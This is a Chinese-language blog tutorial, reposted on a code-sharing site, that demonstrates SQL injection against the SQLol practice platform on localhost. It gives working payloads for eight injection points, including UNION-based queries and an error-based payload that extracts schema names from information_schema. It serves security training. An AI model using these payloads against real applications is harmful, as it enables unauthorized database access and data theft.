码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入测试平台 SQLol -2.SELECT注入测试

时间:2016-05-23 00:49:40      阅读:484      评论:0      收藏:0      [点我收藏+]

标签:

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。

slect模块,有输入处理和输出处理,可以配置不同的sql注入情况,这里先以最简单的,不做任何输入处理的情况进行测试,慢慢进行深入,sql配置如下图:

1、输入测试语句

2、显示完整sql语句,方便构造

3、选择注射位置(分别8中不同的注射位置,下面我们以注射位置进行分类测试)

 

技术分享

一、WHERE 子句里的字符串

Tips:字符型注入;

在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

SELECT username FROM users WHERE username = ‘admin‘ GROUP BY username ORDER BY username ASC 

可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:

admin‘ union select user()#

如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

 技术分享

 

二、WHERE 子句里的数字

Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;

在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为: 

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC 

构造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC 

如下图,我们取得数据库用户名。

技术分享

 

三、整个语句

Tips: 直接可以执行任何sql语句

在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

select * from users 

可以在这里输入任何的sql语句执行。

技术分享

 

四、Column 名称

Tips: 注入位置在username

 SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

技术分享

2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

替换version(),输入其他数据库查询语句,可查询其他数据

技术分享

 

 

五、Table 名称

 Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

1、输入正确的表名,union select查询

技术分享 

 

六、ORDER BY 子句

Tips:注射位置在order by  

当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。

利用方式:

报错注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

得到数据库sqlol,可以使用其他语句继续报错注入。 

参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

技术分享

 

七、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

利用方式:  

1、与order by 一样,直接报错注入

2、在MSSQL中,可以利用group by  , having 进行爆当前列

技术分享

八、HAVING 子句

Tips:having位置

利用方式:

报错注入

技术分享

 

SQL注入测试平台 SQLol -2.SELECT注入测试

标签:

原文地址:http://www.cnblogs.com/xiaozi/p/5517949.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!